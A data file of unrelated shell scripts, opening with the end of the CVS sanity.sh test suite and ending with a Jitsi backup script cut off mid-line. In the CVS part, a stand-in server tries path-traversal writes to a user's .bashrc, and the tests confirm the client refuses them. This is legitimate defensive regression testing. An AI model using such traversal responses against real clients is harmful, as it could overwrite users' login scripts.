\\\n\"$PROG update: Server attempted to update a file via an invalid pathname:\n$PROG \\[update aborted\\]: \\`\\.\\./\\.\\./home/.bashrc'\\.\"\n\n\t # Try the same exploit using the Created response.\n\t cat >$TESTDIR/serveme </dev/null\nEOF\n\t sleep 1\n\t dotest_fail client-13 \"$testcvs update\" \\\n\"$PROG update: Server attempted to update a file via an invalid pathname:\n$PROG \\[update aborted\\]: \\`$HOME/.bashrc'\\.\"\n\n\t # Now try using the Update-existing response\n\t cat >$TESTDIR/serveme </dev/null\nEOF\n\t sleep 1\n\t dotest_fail client-14 \"$testcvs update\" \\\n\"$PROG update: Server attempted to update a file via an invalid pathname:\n$PROG \\[update aborted\\]: \\`\\.\\./\\.\\./home/.bashrc'\\.\"\n\n\t # Try the same exploit using the Merged response.\n\t cat >$TESTDIR/serveme </dev/null\nEOF\n\t sleep 1\n\t dotest_fail client-15 \"$testcvs update\" \\\n\"$PROG update: Server attempted to update a file via an invalid pathname:\n$PROG \\[update aborted\\]: \\`$HOME/.bashrc'\\.\"\n\n\t # Now try using the Updated response\n\t cat >$TESTDIR/serveme </dev/null\nEOF\n\t sleep 1\n\t dotest_fail client-16 \"$testcvs update\" \\\n\"$PROG update: Server attempted to update a file via an invalid pathname:\n$PROG \\[update aborted\\]: \\`\\.\\./\\.\\./home/.bashrc'\\.\"\n\n\t # Try the same exploit using the Copy-file response.\n\t # As far as I know, Copy-file was never exploitable either.\n\t cat >$TESTDIR/serveme </dev/null\nEOF\n\t sleep 1\n\t dotest_fail client-18 \"$testcvs update\" \\\n\"$PROG \\[update aborted\\]: protocol error: Copy-file tried to specify directory\"\n\n\t # And verify that none of the exploits was successful.\n\t dotest client-19 \"cat $HOME/.bashrc\" \\\n\"#!$TESTSHELL\n# This is where login scripts would usually be\n# stored\\.\"\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ../..\n\t rm -r 1\n\t rmdir ${TESTDIR}/bogus\n\t rm $TESTDIR/serveme $HOME/.bashrc\n\t CVS_SERVER=${save_CVS_SERVER}; export CVS_SERVER\n\t fi # skip the whole thing for local\n\t ;;\n\n\n\n\tclient2)\n\t # Test how the client handles error messages from the server.\n\t if $remote; then\n\t cat >$TESTDIR/serveme </dev/null\nEOF\n\t # Cygwin. Pthffffffffft!\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"chmod +x $TESTDIR/serveme\"\n\t else\n\t chmod +x $TESTDIR/serveme\n\t fi\n\t save_CVS_SERVER=$CVS_SERVER\n\t CVS_SERVER=$TESTDIR/serveme; export CVS_SERVER\n\t mkdir client2; cd client2\n\t dotest_fail client2-1 \"$testcvs co first-dir\" \\\n\"Root somewhere/over/the/rainbow must be an absolute pathname\"\n\n\t cat >$TESTDIR/serveme </dev/null\nEOF\n\t # Cygwin. Pthffffffffft!\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"chmod +x $TESTDIR/serveme\"\n\t else\n\t chmod +x $TESTDIR/serveme\n\t fi\n\t dotest_fail client2-2 \"$testcvs co first-dir\" \\\n\"Root somewhere/over/the/rainbow must be an absolute pathname\n$PROG checkout: warning: unrecognized response \\`' from cvs server\"\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ..\n\t rm -r client2\n\t rm $TESTDIR/serveme\n\t CVS_SERVER=$save_CVS_SERVER; export CVS_SERVER\n\t fi # skip the whole thing for local\n\t ;;\n\n\n\n\tdottedroot)\n\t # Check that a CVSROOT with a \".\" in the name will work.\n\t CVSROOT_save=${CVSROOT}\n\t CVSROOT_DIRNAME_save=${CVSROOT_DIRNAME}\n\t CVSROOT_DIRNAME=${TESTDIR}/cvs.root\n\t CVSROOT=`newroot ${CVSROOT_DIRNAME}`\n\n\t dotest dottedroot-init-1 \"$testcvs -d$CVSROOT_DIRNAME init\"\n\t mkdir dir1\n\t mkdir dir1/dir2\n\t echo version1 >dir1/dir2/file1\n\t cd dir1\n\t dotest dottedroot-1 \"${testcvs} import -m '' module1 AUTHOR INITIAL\" \\\n\"${PROG} [a-z]*: Importing ${CVSROOT_DIRNAME}/module1/dir2\nN module1/dir2/file1\n\nNo conflicts created by this import\"\n\t cd ..\n\n\t # This is the test that used to cause an assertion failure\n\t # in recurse.c:do_recursion().\n\t dotest dottedroot-2 \"${testcvs} co -rINITIAL module1\" \\\n\"${PROG} [a-z]*: Updating module1\n${PROG} [a-z]*: Updating module1/dir2\nU module1/dir2/file1\"\n\n\t # This also triggered the assertion failure above prior to 1.11.23.\n\t dotest dottedroot-3 \\\n\"$testcvs -q co -prINITIAL module1/./dir2/file1\" \\\n'version1'\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n\t exit 0\n\t fi\n\n\t rm -rf ${CVSROOT_DIRNAME}\n\t rm -r dir1 module1\n\t CVSROOT_DIRNAME=${CVSROOT_DIRNAME_save}\n\t CVSROOT=${CVSROOT_save}\n \t ;;\n \n\tfork)\n\t # Test that the server defaults to the correct executable in :fork:\n\t # mode. See the note in the TODO at the end of this file about this.\n\t #\n\t # This test and client should be left after all other references to\n\t # CVS_SERVER are removed from this script.\n\t #\n\t # The client series of tests already tests that CVS_SERVER is\n\t # working, but that test might be better here.\n\t if $remote; then\n\t mkdir fork; cd fork\n\t save_CVS_SERVER=$CVS_SERVER\n\t unset CVS_SERVER\n\t # So looking through $PATH for cvs won't work...\n\t echo \"echo junk\" >cvs\n\t chmod a+x cvs\n\t save_PATH=$PATH; PATH=.:$PATH\n\t dotest fork-1 \"$testcvs -d:fork:$CVSROOT_DIRNAME version\" \\\n'Client: \\(.*\\)\nServer: \\1'\n\t CVS_SERVER=${save_CVS_SERVER}; export CVS_SERVER\n\t unset save_CVS_SERVER\n\t PATH=$save_PATH; unset save_PATH\n\t cd ..\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\t fi\n\t ;;\n\n\tcommit-add-missing)\n\t # Make sure that a commit fails when a `cvs add'ed file has\n\t # been removed from the working directory.\n\n\t mkdir 1; cd 1\n\t module=c-a-m\n\t echo > unused-file\n\t dotest commit-add-missing-1 \\\n\t \"$testcvs -Q import -m. $module X Y\" ''\n\n\t file=F\n\t # Check it out and tag it.\n\t dotest commit-add-missing-2 \"$testcvs -Q co $module\" ''\n\t cd $module\n\t dotest commit-add-missing-3 \"$testcvs -Q tag -b B\" ''\n\t echo v1 > $file\n\t dotest commit-add-missing-4 \"$testcvs -Q add $file\" ''\n\t rm -f $file\n\t dotest_fail commit-add-missing-5 \"$testcvs -Q ci -m. $file\" \\\n\"${PROG} commit: Up-to-date check failed for .$file'\n${PROG} \\[commit aborted\\]: correct above errors first!\"\n\n\t cd ../..\n\t rm -rf 1\n\t rm -rf ${CVSROOT_DIRNAME}/$module\n\t ;;\n\n\tadd-restricted)\n\t # Verify that `sdir/CVS' may not be explicitly added.\n\t mkdir add-restricted; cd add-restricted\n\n\t mkdir import; cd import\n\t : > junk\n\t dotest add-restricted-init-1 \\\n\"$testcvs -Q import -m. add-restricted X Y\"\n\t cd ..\n\n\t dotest add-restricted-init-2 \"$testcvs -Q co add-restricted\"\n\t cd add-restricted\n\n\t # errmsg2-3 tests the specific message here.\n\t dotest_fail add-restricted-1 \"$testcvs -Q add CVS\"\n\n\t mkdir sdir\n\t dotest add-restricted-2 \"$testcvs -Q add sdir\"\n\t dotest_fail add-restricted-3 \"$testcvs add sdir/CVS\" \\\n\"$PROG add: cannot add special file \\`sdir/CVS'; skipping\"\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n\t exit 0\n\t fi\n\t cd ../..\n\t rm -rf add-restricted $CVSROOT_DIRNAME/add-restricted\n\t;;\n\n\n\n\tcommit-d)\n\t # Check that top-level commits work when CVS/Root\n\t # is overridden by cvs -d.\n\n\t mkdir -p 1/subdir; cd 1\n\t touch file1 subdir/file2\n\t dotest commit-d-1 \"$testcvs -Q import -m. c-d-c X Y\" \"\"\n\t dotest commit-d-2 \"$testcvs -Q co c-d-c\" \"\"\n\t cd c-d-c\n\t echo change >>file1; echo another change >>subdir/file2\n\t # Changing working root, then override with -d\n\t echo nosuchhost:/cvs > CVS/Root\n\t dotest commit-d-3 \"$testcvs -Q -d $CVSROOT commit -m.\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/c-d-c/file1,v <-- file1\nnew revision: 1.2; previous revision: 1.1\ndone\nChecking in subdir/file2;\n${CVSROOT_DIRNAME}/c-d-c/subdir/file2,v <-- file2\nnew revision: 1.2; previous revision: 1.1\ndone\"\n\t cd ../..\n\t rm -rf 1 cvsroot/c-d-c\n\t ;;\n\n\t*)\n\t echo $what is not the name of a test -- ignored\n\t ;;\n\tesac\n\n # Sanity check sanity.sh. :)\n #\n # Test our exit directory so that tests that exit in an incorrect directory\n # are noticed during single test runs.\n #\n # FIXME?\n # Sparc Solaris 9 is dereferencing paths here as if /bin/pwd were\n # called when /tmp is a symlink. This might be a new problem with this\n # test, but since this was recently tested I think it more likely to be\n # A Solaris issue.\n if test \"x$TESTDIR\" != \"x`pwd`\"; then\n\t fail \"cleanup: PWD != TESTDIR (\\``pwd`' != \\`$TESTDIR')\"\n fi\n\n # Reset val-tags to a pristine state.\n rm -f $CVSROOT_DIRNAME/CVSROOT/val-tags\n\n verify_tmp_empty \"post $what\"\n\ndone # The big loop\n\n# Set up summary data for output.\nskippedoutput=\nwarningsoutput=\nextendedinfo=\nif test $skipped -ne 0; then\n skippedoutput=\"$skipped test group\"\n if test $skipped -ne 1; then\n skippedoutput=\"${skippedoutput}s\"\n fi\n skippedoutput=\"$skippedoutput skipped\"\nfi\nif test $warnings -ne 0; then\n warningsoutput=\"$warnings test\"\n if test $warnings -ne 1; then\n warningsoutput=\"${warningsoutput}s\"\n fi\n warningsoutput=\"$warningsoutput passed with warnings\"\nfi\nif test -n \"$skippedoutput\" || test -n \"$warningsoutput\"; then\n extendedinfo=\" (\"\n if test -n \"$skippedoutput\"; then\n extendedinfo=\"$extendedinfo$skippedoutput\"\n fi\n if test -n \"$skippedoutput\" && test -n \"$warningsoutput\"; then\n extendedinfo=\"$extendedinfo and \"\n fi\n if test -n \"$warningsoutput\"; then\n extendedinfo=\"$extendedinfo$warningsoutput\"\n fi\n extendedinfo=\"$extendedinfo)\"\nfi\n\necho \"OK, all $passed tests passed$extendedinfo.\"\n\n# TODO:\n# * Test `cvs update -d foo' (where foo does not exist).\n# * Test `cvs update foo bar' (where foo and bar are both from the\n# same directory in the repository). Suppose one is a branch--make\n# sure that both directories get updated with the respective correct\n# thing.\n# * `cvs update ../foo'. Also ../../foo ./../foo foo/../../bar /foo/bar\n# foo/.././../bar foo/../bar etc.\n# * Test all flags in modules file.\n# Test that ciprog gets run both on checkin in that directory, or a\n# higher-level checkin which recurses into it.\n# * Test operations on a directory that contains other directories but has\n# no files of its own.\n# * -t global option\n# * cvs rm followed by cvs add or vice versa (with no checkin in between).\n# * cvs rm twice (should be a nice error message).\n# * -P option to checkout--(a) refrains from checking out new empty dirs,\n# (b) prunes empty dirs already there.\n# * Test that cvs -d `hostname`:${TESTDIR}/non/existent co foo\n# gives an appropriate error (e.g.\n# Cannot access ${TESTDIR}/non-existent/CVSROOT\n# No such file or directory).\n# (like basica-9, but for remote).\n# * Test ability to send notifications in response to watches. (currently\n# hard to test because CVS doesn't send notifications if username is the\n# same).\n# * Test the contents of adm files other than Root and Repository.\n# Entries seems the next most important thing.\n# * Test the following compatibility issues:\n# - The filler fields in \"D\" entries in CVS/Entries get preserved\n# (per cvs.texinfo).\n# - Unrecognized entry types in CVS/Entries get ignored (looks like\n# this needs to be documented in cvs.texinfo, but is not)\n# - Test that unrecognized files in CVS directories (e.g. CVS/Foobar)\n# are ignored (per cvs.texinfo).\n# - Test 'cvs history' with symlinks in the path to the working directory.\n# - Remove most of the CVS_SERVER stuff after a reasonable amount of time.\n# The \"fork\" & \"client\" series of tests should be left. 4/2/00, CVS\n# 1.11.0.1 was altered so that it would default to program_name (set from\n# argv[0]) rather than \"cvs\", but I'd like this script to work on legacy\n# versions of CVS for awhile.\n# - Testsuite doesn't work with usernames over eight characters in length.\n# Fix it.\n# End of TODO list.\n\n# Exit if keep set\nif $keep; then\n echo \"Keeping ${TESTDIR} and exiting due to -k (keep) option.\"\n exit 0\nfi\n\n# Remove the test directory, but first change out of it.\ncd `dirname ${TESTDIR}`\nrm -rf ${TESTDIR}\n\n# end of sanity.sh"} {"text": "mbradds/reconciliation-strategic-priority\n#!/bin/bash\nsimplify_base_pct=100\nsimplify_prs=0.0001\n\ncd src/company_data\nignore=\"community_profiles/\"\nfor d in */ ; do\n if [ \"$d\" != \"$ignore\" ]; then \n mapshaper -i ${d}poly1.json -proj EPSG:4269 -simplify $simplify_base_pct% keep-shapes -o ${d}poly1_min.json precision=$simplify_prs\n fi\ndone"} {"text": "HarryKodden/SRAM-Token-Servicesrc/autogen.sh\n#!/bin/sh\n\naclocal \\\n&& automake --warnings none --add-missing \\\n&& autoconf"} {"text": "#!/bin/sh\n{{/*\n# ============LICENSE_START=======================================================\n# Copyright (C) 2020 Nordix Foundation.\n# ================================================================================\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# SPDX-License-Identifier: Apache-2.0\n# ============LICENSE_END=========================================================\n*/}}\n\necho \"Creating nfvo database . . .\" 1>/tmp/mariadb-nfvodb.log 2>&1\n\nprepare_password()\n{\n echo \"$1\" | sed -e \"s/'/\\\\\\\\'/g; s/\\\"/\\\\\\\\\\\"/g\"\n}\n\nNFVO_DB_PASSWORD=`prepare_password $NFVO_DB_PASSWORD`\n\nmysql -uroot -p$MYSQL_ROOT_PASSWORD << EOF || exit 1\nCREATE DATABASE /*!32312 IF NOT EXISTS*/ nfvo /*!40100 DEFAULT CHARACTER SET latin1 */;\nDROP USER IF EXISTS '${NFVO_DB_USER}';\nCREATE USER '${NFVO_DB_USER}';\nGRANT ALL on nfvo.* to '${NFVO_DB_USER}' identified by '${NFVO_DB_PASSWORD}' with GRANT OPTION;\nFLUSH PRIVILEGES;\nEOF\n\necho \"Created nfvo database . . .\" 1>>/tmp/mariadb-nfvodb.log 2>&1"} {"text": "uk-gov-mirror/hmcts.cnp-aks-rbac-pipelines\n#!/bin/bash\nset -e\n\nCLUSTER_NAME=$1\nRESOURCE_GROUP_NAME=$2\n\naksID=$(az aks show --name ${CLUSTER_NAME} --resource-group ${RESOURCE_GROUP_NAME} --query id -o tsv)\necho \"##vso[task.setvariable variable=aksid]${aksID}\""} {"text": "#!/bin/bash\n\nsrc1=\"$HOME/work/src/github.com/madsportslab/mboard-go\"\nsrc3=\"$HOME/work/src/github.com/madsportslab/mboard-www\"\nsrc4=\"$src1/debian/etc/systemd/system\"\nsrc5=\"$src1/debian/home/mboard/.config/autostart\"\nsrc6=\"$HOME/work/src/github.com/mattes/migrate\"\nsrc7=\"$HOME/web\"\ndst1=\"$HOME/build/mboard\"\ndir1=\"$HOME/build/mboard/home/mboard/bin\"\ndir3=\"$HOME/build/mboard/etc/systemd/system\"\ndir4=\"$HOME/build/mboard/DEBIAN\"\ndir5=\"$HOME/build/mboard/home/mboard/.config/autostart\"\ndir6=\"$HOME/build/mboard/home/mboard/bin/mboard-www\"\ndir8=\"$HOME/build/mboard/home/mboard/data/migrations\"\n\nlog()\n{\n echo [$1]\n}\n\nclean()\n{\n if [ -d $dst1 ]; then\n cd $dst1\n rm -rf *\n fi\n}\n\ninit_dir()\n{\n build_dir $dir1\n build_dir $dir3\n build_dir $dir4\n build_dir $dir5\n build_dir $dir6\n build_dir $dir8\n}\n\nbuild_dir()\n{\n if ! [ -d $1 ]; then\n log \"Creating directory $1\"\n mkdir -p $1\n fi\n}\n\ngo_deps()\n{\n go get \"github.com/eknkc/amber\"\n go get \"github.com/gorilla/websocket\"\n go get \"github.com/gorilla/mux\"\n go get \"github.com/mattes/migrate/cli\"\n go get \"github.com/mattn/go-sqlite3\"\n go get \"github.com/skip2/go-qrcode\"\n}\n\nlerror()\n{\n echo [Error: $1]\n exit\n}\n\nbuild_mboard()\n{\n if [ -d $src1 ]; then\n log \"Checking mboard-go dependencies\"\n go_deps\n log \"Compiling mboard-go\"\n cd $src1\n go build\n\n if [ $? -eq 0 ]; then\n\n log \"Completed\"\n cp mboard-go $dir1\n log \"Copied mboard-go to $dir1\"\n\n else\n lerror \"Compilation failed.\"\n fi\n\n else\n lerror \"mboard-go sources not found.\" \n fi\n\n}\n\nbuild_mboard_www()\n{\n if [ -d $src3 ]; then\n cd $src3\n cp *.amber $dir6\n log \"Copied amber web templates to $dir6\"\n cp -R css $dir6\n cp -R js $dir6\n log \"Copied css and js assets to $dir6\"\n cd $src7\n cp -R * $dir6\n log \"Copied material-components-web and font-awesome to $dir6\"\n else\n lerror \"$src3 not found\"\n fi\n}\n\nbuild_migrations()\n{\n if [ -d $src1/db/migrations ]; then\n\n cd $src1/db/migrations\n cp *.sql $dir8\n log \"Copied database migrations to $dir8\"\n\n else\n lerror \"Database migrations not found.\"\n fi\n}\n\nbuild_systemctl()\n{\n cd $src4\n cp mboard.service $dir3\n log \"Copied mboard.service to $dir3\"\n}\n\nbuild_autostart()\n{\n cd $src5\n cp mboard.desktop $dir5\n log \"Copied mboard.desktop to $dir5\"\n}\n\nbuild_migrate()\n{\n if [ -d $src6 ]; then\n cd $src6\n go build -tags \"sqlite3\" -o migrate github.com/mattes/migrate/cli\n\n if [ $? -eq 0 ]; then\n cp migrate $dir1\n log \"Copied migrate to $dir1\"\n else\n lerror \"Compilation failed for migrate.\"\n fi\n else\n lerror \"Sources not found for $src6\"\n fi\n}\n\nbuild_debian()\n{\n if [ -d $src1/debian/DEBIAN ]; then\n cd $src1/debian/DEBIAN\n cp * $dir4\n log \"Copied debian package files to $dir4\"\n else\n lerror \"Debian sources not found.\"\n fi\n\n cd $HOME/build\n dpkg-deb --build mboard\n log \"Generated package mboard.deb\"\n}\n\nif ! [ -d $dst ]; then\n lerror \"build directory not found.\"\n init_dir\nfi\n\n# mboard-go compilation\n\nclean\ninit_dir\nbuild_mboard\nbuild_mboard_www\nbuild_migrations\nbuild_migrate\nbuild_systemctl\nbuild_autostart\nbuild_debian"} {"text": "janosgyerik/rssreader0\n#!/bin/sh -e\n#\n# File: common.sh\n# Purpose: common functions\n#\n\nprefix=rssreader\n\ninfo() {\n echo '[info]' $@\n}\n\nresult() {\n echo '[result]' $@\n}\n\nwarn() {\n echo '[WARN]' $@\n}\n\nfatal() {\n echo '[fatal]' $@\n exit 1\n}\n\nnames() {\n for config in conf/*.yml; do\n test -f \"$config\" || continue\n name=${config#conf/}\n name=${name%.yml}\n echo $name\n done\n}"} {"text": "#!/bin/bash\ndocker build -t jeh/gcc gcc\ndocker build -t jeh/xtcw xtcw\nXSOCK=/tmp/.X11-unix\nXAUTH=/tmp/.docker.xauth\nxauth nlist :0 | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge -\nmkdir -p $HOME/Docker\ndocker run -i -v $HOME/Docker:/home/work -v $XSOCK:$XSOCK -v $XAUTH:$XAUTH -e XAUTHORITY=$XAUTH jeh/xtcw /bin/bash -c \\\n \"git clone https://github.com/xtforever/xtcw2.git; \\\n cd xtcw2 && git pull && make -j4 && cd test_scroll_list \\\n && make ; ./cwri -geometry 500x800\""} {"text": "1-10\n#!/bin/sh\n\nbase_directory=.\ntemp_directory=$base_directory/var\ndest_directory=$base_directory/source\ntemplate=setup.adb.template\ndestination=setup.adb\ndate_time_utc=$(date -u \"+%Y-%m-%dT%H:%M:%S\")\nprogram_name=$(cat $temp_directory/PROGRAM_NAME)\nprogram_version=$(cat $temp_directory/PROGRAM_VERSION)\n\nuname_opt_m=$(uname -m)\nuname_opt_n=$(uname -n)\nuname_opt_p=$(uname -p)\nuname_opt_r=$(uname -r)\nuname_opt_s=$(uname -s)\n\n##\n## Stream edit setup.adb.template into setup.adb\n##\ncat $temp_directory/$template | \\\nsed 's/@_DATE_TIME_UTC_@/'$date_time_utc'/' | \\\nsed 's/@_PROGRAM_NAME_@/'$program_name'/' | \\\nsed 's/@_PROGRAM_VERSION_@/'$program_version'/' | \\\nsed 's/@_UNAME_OPT_M_@/'$uname_opt_m'/' | \\\nsed 's/@_UNAME_OPT_N_@/'$uname_opt_n'/' | \\\nsed 's/@_UNAME_OPT_P_@/'$uname_opt_p'/' | \\\nsed 's/@_UNAME_OPT_R_@/'$uname_opt_r'/' | \\\nsed 's/@_UNAME_OPT_S_@/'$uname_opt_s'/' | \\\ncat >$dest_directory/$destination"} {"text": "#!/bin/bash -e\n\n# SC2154: ghprbPullId is referenced but not assigned.\n# shellcheck disable=SC2154\nif test -z \"$ghprbPullId\"; then\n\techo \"Could not find the environment variable ghprbPullId, so it's not possible to fetch the labels for any pull request.\"\n\texit 1\nfi\n\nFORCE=\nCHECK=\nwhile ! test -z \"$1\"; do\n case \"$1\" in\n\t\t--force|-f)\n\t\t\tFORCE=1\n\t\t\tshift\n\t\t\t;;\n\t\t--check)\n\t\t\tif test -z \"$2\"; then\n\t\t\t\techo \"Missing argument to --check\"\n\t\t\t\texit 1\n\t\t\tfi\n\t\t\tCHECK=\"$2\"\n\t\t\tshift 2\n\t\t\t;;\n\t\t--check=*|--check:*)\n\t\t\tCHECK=\"${1:8}\"\n\t\t\tshift\n\t\t\t;;\n\t\t*)\n\t\t\techo \"Unknown argument: $1\"\n\t\t\texit 1\n\t\t\t;;\n esac\ndone\n\ncd \"$(dirname \"$0\")\"\n\nTMPFILE=\".tmp-labels-$ghprbPullId\"\nif [[ x\"$FORCE\" == \"x\" && ( -f \"$TMPFILE\" ) ]]; then\n\techo \"Not downloading labels for pull request #$ghprbPullId because they've already been downloaded.\"\nelse\n\techo \"Downloading labels for pull request #$ghprbPullId...\"\n\tif ! curl --silent \"https://api.github.com/repos/xamarin/xamarin-macios/issues/$ghprbPullId/labels\" > \"$TMPFILE.dl\"; then\n\t\techo \"Failed to fetch labels for the pull request $ghprbPullId.\"\n\t\texit 1\n\tfi\n\tgrep \"\\\"name\\\":\" \"$TMPFILE.dl\" | sed -e 's/name\": \\\"//' -e 's/.*\\\"\\(.*\\)\\\".*/\\1/'> \"$TMPFILE\" || true\nfi\n\nif test -z \"$CHECK\"; then\n\techo \"Labels found:\"\n\tsed 's/^/ /' \"$TMPFILE\"\nelse\n\tif grep \"^$CHECK$\" \"$TMPFILE\" >/dev/null 2>&1; then\n\t\techo \"The pull request $ghprbPullId contains the label $CHECK.\"\n\telse\n\t\techo \"The pull request $ghprbPullId does not contain the label $CHECK.\"\n\t\texit 1\n\tfi\nfi"} {"text": "AndreStemmann/Jitis-Meet-Scripts\n#!/bin/bash -l\n#===============================================================================\n#\n# FILE: jitsi_backup.sh\n#\n# USAGE: ./jitsi_backup.sh\n#\n# DESCRIPTION: simple jitsi config backups script\n#\n# OPTIONS: APP= SERVICEx= APPFOLDER= BACKDST=\n# AUTHOR: \n# ORGANIZATION: AirITSystems GmbH\n# CREATED: 30.04.2020 10:41\n# REVISION: v0.2\n#===============================================================================\n\nset -o nounset # Treat unset variables as an error\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n\n# ===============================================================================\n# BASE VARIABLES\n# ===============================================================================\n\n# script vars\nTODAY=$(date +%Y%m%d)\nstart=$(date +%s)\nHOST=$(hostname -f)\nPROGGI=$(basename \"$0\")\nREADLINK=$(readlink -f \"$0\")\nBASEDIR=$(dirname \"$READLINK\")\nLOGPATH=\"${BASEDIR}/jitsi_backup_logs\"\nLOGFILE=\"${LOGPATH}/${PROGGI}-${TODAY}.log\"\nERRORLOG=\"${LOGPATH}/${PROGGI}-${TODAY}_ERROR.log\"\n\n# user vars\nAPP=\"jitsi-meet\"\nSERVICE1=\"nginx\"\nSERVICE2=\"jicofo\"\nSERVICE3=\"jitsi-videobridge2\"\nAPPFOLDER1=\"/etc/jitsi\"\nAPPFOLDER2=\"/etc/${SERVICE1}\"\nAPPFOLDER3=\"/opt/jitsi_tools\"\nAPPFOLDER4=\"/etc/prosody\"\nBACKDST=\"/var/backups\"\nBACKUPROOT=\"${BACKDST}/${APP}_backup_${TODAY}\"\n\n# ===============================================================================\n# BASE FUNCTIONS\n# ===============================================================================\n\nfunction log () {\n\techo \"$PROGGI ; $(date '+%Y%m%d %H:%M:%S') ; $*\" | tee -a \"${LOGFILE}\"\n}\n\nfunction errorlog () {\n\techo \"${PROGGI}_ERRORLOG ; $(date '+%Y%m%d %H:%M:%S') ; $*\" | tee -a \"${ERRORLOG}\"\n}\n\nfunction usercheck () {\n\tif [[ $UID -ne 0 ]]; then\n\t\terrorlog \"...Become user root and try again\"\n\t\texit 1\n\tfi\n}\n\nfunction folder () {\n\tif [ ! -d \"$1\" ]; then\n\t\tmkdir -p \"$1\"\n\t\tlog \"...Create Backupfolder structure for $APP $1\"\n\telse\n\t\tlog \"...Folder $1 already exists\"\n\tfi\n}\n\nfunction distrocheck () {\n\tif [[ -r /etc/os-release ]]; then\n\t\t. /etc/os-release\n\t\tif [[ $ID = ubuntu ]]; then\n\t\t\tlog \"...Running ${ID}_${VERSION_ID} \"\n\t\t\tBACKUPNAME=\"${HOST}\"_\"${ID}\"_\"${VERSION_ID}\"_\"${APP}\"_\"${TODAY}\"\n\t\t\tfolder \"${BACKUPROOT}\"\n\t\telse\n\t\t\terrorlog \"...Not running an debian based distribution. ID=$ID, VERSION=$VERSION\"\n\t\t\tBACKUPNAME=\"${HOST}\"_\"${ID}\"_\"${VERSION_ID}\"_\"${APP}\"_\"${TODAY}\"\n\t\t\tfolder \"${BACKUPROOT}\"\n\t\tfi\n\telse\n\t\terrorlog \"...$APP is not running a distribution with /etc/os-release available\"\n\t\terrorlog \"...Please perform backup manually\"\n\t\texit 1\n\tfi\n}\n\nfunction service_off () {\n\tif systemctl is-active --quiet \"$1\"; then\n\t\tlog \"...Graceful stopping $1\"\n\t\tsystemctl stop \"$1\"\n\t\tsleep 3\n\telse\n\t\tlog \"...service $1 already stopped\"\n\t\tif ! systemctl is-active --quiet \"$1\"; then\n\t\t\tlog \"...service $1 stopped\"\n\t\telse\n\t\t\tlog \"...service $1 still running, trying to SIGTERM it now\"\n\t\t\tkill -15 $APP\n\t\t\tsleep 3\n\t\t\tif ! systemctl is-active --quiet \"$1\"; then\n\t\t\t\tlog \"...service $1 stopped\"\n\t\t\telse\n\t\t\t\tlog \"...service $1 still running, trying to SIGKILL it now\"\n\t\t\t\tkill -9 \"$1\"\n\t\t\t\tsleep 3\n\t\t\tfi\n\t\tfi\n\tfi\n}\n\nfunction backup_flatfiles () {\n\trsync -avz --relative --log-file=\"${LOGFILE}\" \"${APPFOLDER1}\" \"${BACKUPROOT}\"\n\trsync -avz --relative --log-file=\"${LOGFILE}\" \"${APPFOLDER2}\" \"${BACKUPROOT}\"\n\trsync -avz --relative --log-file=\"${LOGFILE}\" \"${APPFOLDER3}\" \"${BACKUPROOT}\"\n\trsync -avz --relative --log-file=\"${LOGFILE}\" \"${APPFOLDER4}\" \"${BACKUPROOT}\"\n}\n\nfunction service_on () {\n\tlog \"...restarting service $1\"\n\tsystemctl start \"$1\"\n\tsleep 3\n\tif systemctl is-active --quiet \"$1\"; then\n\t\tlog \"...$1 is safe and sound\"\n\telse\n\t\terrorlog \"...Failed to start $1\"\n\t\terrorlog \"...Trying it again\"\n\t\tsystemctl start \"$1\"\n\t\tsleep 3\n\t\tif systemctl is-active --quiet \"$1\"; then\n\t\t\tlog \"...$1 is safe and sound\"\n\t\telse\n\t\t\terrorlog \"...Failed to start $1\"\n\t\t\terrorlog \"...CRITICAL - check manually\"\n\t\tfi\n\tfi\n}\n\nfunction zipper () {\n\tlog \"...Will pack all found sourcefiles as tar.gz archive\"\n\tcd \"$BACKDST\" || errorlog \"...failed to cd into $BACKDST\"\n\tlog \"Found Backup Files to zip:\"\n\tlog \"$(find . -type d -name \"*_backup_${TODAY}*\")\"\n\tif ! find . -type d -name \"*_backup_${TODAY}*\" | xargs tar -cvzf \"${BACKUPNAME}\".tar.gz; then\n\t\terrorlog \"...Failed to create tar.gz-archive from sourcefiles\"\n\t\texit 1\n\tfi\n}\n\nfunction tidyup () {\n\trm -rf \"${BACKUPROOT}\"\n\tlog \"...removed unpacked backupfiles under $BACKUPROOT\"\n\tfind \"${LOGPATH}/\" -type f -mtime +7 | xargs rm -f\n}\n\n# ===============================================================================\n# MAIN RUN\n# ===============================================================================\n\ncd \"$BASEDIR\" || errorlog \"...failed to cd into $BASEDIR\"\necho \"Backup CONFIG\"\necho \"#########################\"\necho \"logfile location : $LOGPATH\"\necho \"backup destination : $BACKDST\"\necho \"hostname : $HOST\"\necho \"date : $TODAY\"\nsleep 5\nfolder \"${LOGPATH}\"\nusercheck\ndistrocheck\nif [ -f \"${BACKUPNAME}\".tar.gz ]; then\n\tlog \"...Backupfile already exists\"\n\tlog \"...See /var/log/syslog or ${BASEDIR}/jitsi_backup_logs\"\n\texit 0\nelse\n\tlog \"...First backup for today, proceeding\"\n\tsleep 3\n\tservice_off $SERVICE1\n\tservice_off $SERVICE2\n\tservice_off $SERVICE3\n\tbackup_flatfiles\n\tservice_on $SERVICE3\n\tservice_on $SERVICE2\n\tservice_on 